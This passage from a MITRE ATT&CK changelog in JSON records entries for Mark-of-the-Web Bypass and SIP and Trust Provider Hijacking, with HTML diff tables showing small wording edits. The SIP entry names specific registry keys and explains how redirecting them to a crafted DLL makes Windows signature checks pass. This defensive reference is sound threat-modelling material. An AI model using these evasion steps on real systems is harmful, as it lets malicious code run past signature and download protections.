nowrap=\"nowrap\">ertificates&nbsp;may&nbsp;be&nbsp;used&nbsp;to&nbsp;bypass&nbsp;security&nbsp;policies&nbsp;that&nbsp;req</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;require&nbsp;signed&nbsp;code&nbsp;to&nbsp;execute&nbsp;on&nbsp;a&nbsp;system.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uire&nbsp;signed&nbsp;code&nbsp;to&nbsp;execute&nbsp;on&nbsp;a&nbsp;system.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0230: Detect Suspicious or Malicious Code Signing Abuse"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-02-22 14:20:31.650000+00:00",
                    "modified": "2026-11-03 23:23:57.025000+00:00",
                    "name": "Mark-of-the-Web Bypass",
                    "description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is an NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1553/005",
                            "external_id": "T1553.005"
                        },
                        {
                            "source_name": "Beek Use of VHD Dec 2020",
                            "description": "Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved November 17, 2024.",
                            "url": "https://web.archive.org/web/20201203131725/https://christiaanbeek.medium.com/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316"
                        },
                        {
                            "source_name": "Outflank MotW 2020",
                            "description": "Hegt, S. (2020, March 30). Mark-of-the-Web from a red team\u2019s perspective. Retrieved February 22, 2021.",
                            "url": "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/"
                        },
                        {
                            "source_name": "Intezer Russian APT Dec 2020",
                            "description": "Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.",
                            "url": "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"
                        },
                        {
                            "source_name": "Microsoft Zone.Identifier 2020",
                            "description": "Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.",
                            "url": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Christiaan Beek, @ChristiaanBeek"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:23:57.025000+00:00\", \"old_value\": \"2026-05-12 15:12:00.662000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\\n\\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is an NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)\", \"old_value\": \"Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\\n\\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\\n \\n-Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)\\n+Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is an NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to151__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to151__0\"><a href=\"#difflib_chg_to151__top\">t</a></td><td class=\"diff_header\" id=\"from151_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;specific&nbsp;file&nbsp;formats&nbsp;to&nbsp;subvert&nbsp;Mark-</td><td class=\"diff_next\"><a href=\"#difflib_chg_to151__top\">t</a></td><td class=\"diff_header\" id=\"to151_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;specific&nbsp;file&nbsp;formats&nbsp;to&nbsp;subvert&nbsp;Mark-</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of-the-Web&nbsp;(MOTW)&nbsp;controls.&nbsp;In&nbsp;Windows,&nbsp;when&nbsp;files&nbsp;are&nbsp;downl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of-the-Web&nbsp;(MOTW)&nbsp;controls.&nbsp;In&nbsp;Windows,&nbsp;when&nbsp;files&nbsp;are&nbsp;downl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oaded&nbsp;from&nbsp;the&nbsp;Internet,&nbsp;they&nbsp;are&nbsp;tagged&nbsp;with&nbsp;a&nbsp;hidden&nbsp;NTFS&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oaded&nbsp;from&nbsp;the&nbsp;Internet,&nbsp;they&nbsp;are&nbsp;tagged&nbsp;with&nbsp;a&nbsp;hidden&nbsp;NTFS&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Alternate&nbsp;Data&nbsp;Stream&nbsp;(ADS)&nbsp;named&nbsp;&lt;code&gt;Zone.Identifier&lt;/cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Alternate&nbsp;Data&nbsp;Stream&nbsp;(ADS)&nbsp;named&nbsp;&lt;code&gt;Zone.Identifier&lt;/cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;&nbsp;with&nbsp;a&nbsp;specific&nbsp;value&nbsp;known&nbsp;as&nbsp;the&nbsp;MOTW.(Citation:&nbsp;Micros</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;&nbsp;with&nbsp;a&nbsp;specific&nbsp;value&nbsp;known&nbsp;as&nbsp;the&nbsp;MOTW.(Citation:&nbsp;Micros</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oft&nbsp;Zone.Identifier&nbsp;2020)&nbsp;Files&nbsp;that&nbsp;are&nbsp;tagged&nbsp;with&nbsp;MOTW&nbsp;ar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oft&nbsp;Zone.Identifier&nbsp;2020)&nbsp;Files&nbsp;that&nbsp;are&nbsp;tagged&nbsp;with&nbsp;MOTW&nbsp;ar</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;protected&nbsp;and&nbsp;cannot&nbsp;perform&nbsp;certain&nbsp;actions.&nbsp;For&nbsp;example,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;protected&nbsp;and&nbsp;cannot&nbsp;perform&nbsp;certain&nbsp;actions.&nbsp;For&nbsp;example,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;starting&nbsp;in&nbsp;MS&nbsp;Office&nbsp;10,&nbsp;if&nbsp;a&nbsp;MS&nbsp;Office&nbsp;file&nbsp;has&nbsp;the&nbsp;MOTW,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;starting&nbsp;in&nbsp;MS&nbsp;Office&nbsp;10,&nbsp;if&nbsp;a&nbsp;MS&nbsp;Office&nbsp;file&nbsp;has&nbsp;the&nbsp;MOTW,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;it&nbsp;will&nbsp;open&nbsp;in&nbsp;Protected&nbsp;View.&nbsp;Executables&nbsp;tagged&nbsp;with&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;it&nbsp;will&nbsp;open&nbsp;in&nbsp;Protected&nbsp;View.&nbsp;Executables&nbsp;tagged&nbsp;with&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;MOTW&nbsp;will&nbsp;be&nbsp;processed&nbsp;by&nbsp;Windows&nbsp;Defender&nbsp;SmartScreen&nbsp;that</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;MOTW&nbsp;will&nbsp;be&nbsp;processed&nbsp;by&nbsp;Windows&nbsp;Defender&nbsp;SmartScreen&nbsp;that</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;compares&nbsp;files&nbsp;with&nbsp;an&nbsp;allowlist&nbsp;of&nbsp;well-known&nbsp;executables.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;compares&nbsp;files&nbsp;with&nbsp;an&nbsp;allowlist&nbsp;of&nbsp;well-known&nbsp;executables.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;If&nbsp;the&nbsp;file&nbsp;is&nbsp;not&nbsp;known/trusted,&nbsp;SmartScreen&nbsp;will&nbsp;prevent&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;If&nbsp;the&nbsp;file&nbsp;is&nbsp;not&nbsp;known/trusted,&nbsp;SmartScreen&nbsp;will&nbsp;prevent&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;execution&nbsp;and&nbsp;warn&nbsp;the&nbsp;user&nbsp;not&nbsp;to&nbsp;run&nbsp;it.(Citation:&nbsp;Bee</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;execution&nbsp;and&nbsp;warn&nbsp;the&nbsp;user&nbsp;not&nbsp;to&nbsp;run&nbsp;it.(Citation:&nbsp;Bee</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k&nbsp;Use&nbsp;of&nbsp;VHD&nbsp;Dec&nbsp;2020)(Citation:&nbsp;Outflank&nbsp;MotW&nbsp;2020)(Citatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k&nbsp;Use&nbsp;of&nbsp;VHD&nbsp;Dec&nbsp;2020)(Citation:&nbsp;Outflank&nbsp;MotW&nbsp;2020)(Citatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Intezer&nbsp;Russian&nbsp;APT&nbsp;Dec&nbsp;2020)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;cont</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Intezer&nbsp;Russian&nbsp;APT&nbsp;Dec&nbsp;2020)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;cont</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ainer&nbsp;files&nbsp;such&nbsp;as&nbsp;compressed/archive&nbsp;(.arj,&nbsp;.gzip)&nbsp;and/or&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ainer&nbsp;files&nbsp;such&nbsp;as&nbsp;compressed/archive&nbsp;(.arj,&nbsp;.gzip)&nbsp;and/or&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">disk&nbsp;image&nbsp;(.iso,&nbsp;.vhd)&nbsp;file&nbsp;formats&nbsp;to&nbsp;deliver&nbsp;malicious&nbsp;pa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">disk&nbsp;image&nbsp;(.iso,&nbsp;.vhd)&nbsp;file&nbsp;formats&nbsp;to&nbsp;deliver&nbsp;malicious&nbsp;pa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">yloads&nbsp;that&nbsp;may&nbsp;not&nbsp;be&nbsp;tagged&nbsp;with&nbsp;MOTW.&nbsp;Container&nbsp;files&nbsp;dow</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">yloads&nbsp;that&nbsp;may&nbsp;not&nbsp;be&nbsp;tagged&nbsp;with&nbsp;MOTW.&nbsp;Container&nbsp;files&nbsp;dow</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nloaded&nbsp;from&nbsp;the&nbsp;Internet&nbsp;will&nbsp;be&nbsp;marked&nbsp;with&nbsp;MOTW&nbsp;but&nbsp;the&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nloaded&nbsp;from&nbsp;the&nbsp;Internet&nbsp;will&nbsp;be&nbsp;marked&nbsp;with&nbsp;MOTW&nbsp;but&nbsp;the&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iles&nbsp;within&nbsp;may&nbsp;not&nbsp;inherit&nbsp;the&nbsp;MOTW&nbsp;after&nbsp;the&nbsp;container&nbsp;fil</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iles&nbsp;within&nbsp;may&nbsp;not&nbsp;inherit&nbsp;the&nbsp;MOTW&nbsp;after&nbsp;the&nbsp;container&nbsp;fil</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;are&nbsp;extracted&nbsp;and/or&nbsp;mounted.&nbsp;MOTW&nbsp;is&nbsp;a&nbsp;NTFS&nbsp;feature&nbsp;and&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;are&nbsp;extracted&nbsp;and/or&nbsp;mounted.&nbsp;MOTW&nbsp;is&nbsp;a<span class=\"diff_add\">n</span>&nbsp;NTFS&nbsp;feature&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">many&nbsp;container&nbsp;files&nbsp;do&nbsp;not&nbsp;support&nbsp;NTFS&nbsp;alternative&nbsp;data&nbsp;st</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;many&nbsp;container&nbsp;files&nbsp;do&nbsp;not&nbsp;support&nbsp;NTFS&nbsp;alternative&nbsp;data&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">reams.&nbsp;After&nbsp;a&nbsp;container&nbsp;file&nbsp;is&nbsp;extracted&nbsp;and/or&nbsp;mounted,&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">treams.&nbsp;After&nbsp;a&nbsp;container&nbsp;file&nbsp;is&nbsp;extracted&nbsp;and/or&nbsp;mounted,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;files&nbsp;contained&nbsp;within&nbsp;them&nbsp;may&nbsp;be&nbsp;treated&nbsp;as&nbsp;local&nbsp;files</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;files&nbsp;contained&nbsp;within&nbsp;them&nbsp;may&nbsp;be&nbsp;treated&nbsp;as&nbsp;local&nbsp;file</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;on&nbsp;disk&nbsp;and&nbsp;run&nbsp;without&nbsp;protections.(Citation:&nbsp;Beek&nbsp;Use&nbsp;of&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;on&nbsp;disk&nbsp;and&nbsp;run&nbsp;without&nbsp;protections.(Citation:&nbsp;Beek&nbsp;Use&nbsp;of</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">VHD&nbsp;Dec&nbsp;2020)(Citation:&nbsp;Outflank&nbsp;MotW&nbsp;2020)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;VHD&nbsp;Dec&nbsp;2020)(Citation:&nbsp;Outflank&nbsp;MotW&nbsp;2020)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1038: Execution Prevention",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0257: Detect Mark-of-the-Web (MOTW) Bypass via Container and Disk Image Files"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-05 19:34:04.910000+00:00",
                    "modified": "2026-11-04 00:57:27.686000+00:00",
                    "name": "SIP and Trust Provider Hijacking",
                    "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode(Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,(Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature.(Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs)(Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all)(Citation: Microsoft Catalog Files and Signatures April 2017) and are identified by globally unique identifiers (GUIDs).(Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by:(Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP(Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP(Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.(Citation: SpectorOps Subverting Trust Sept 2017)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1553/003",
                            "external_id": "T1553.003"
                        },
                        {
                            "source_name": "GitHub SIP POC Sept 2017",
                            "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
                            "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage"
                        },
                        {
                            "source_name": "SpectorOps Subverting Trust Sept 2017",
                            "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                            "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
                        },
                        {
                            "source_name": "Microsoft Catalog Files and Signatures April 2017",
                            "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
                            "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files"
                        },
                        {
                            "source_name": "Microsoft Authenticode",
                            "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
                            "url": "https://msdn.microsoft.com/library/ms537359.aspx"
                        },
                        {
                            "source_name": "Microsoft WinVerifyTrust",
                            "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
                            "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx"
                        },
                        {
                            "source_name": "EduardosBlog SIPs July 2008",
                            "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
                            "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Matt Graeber, @mattifestation, SpecterOps"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
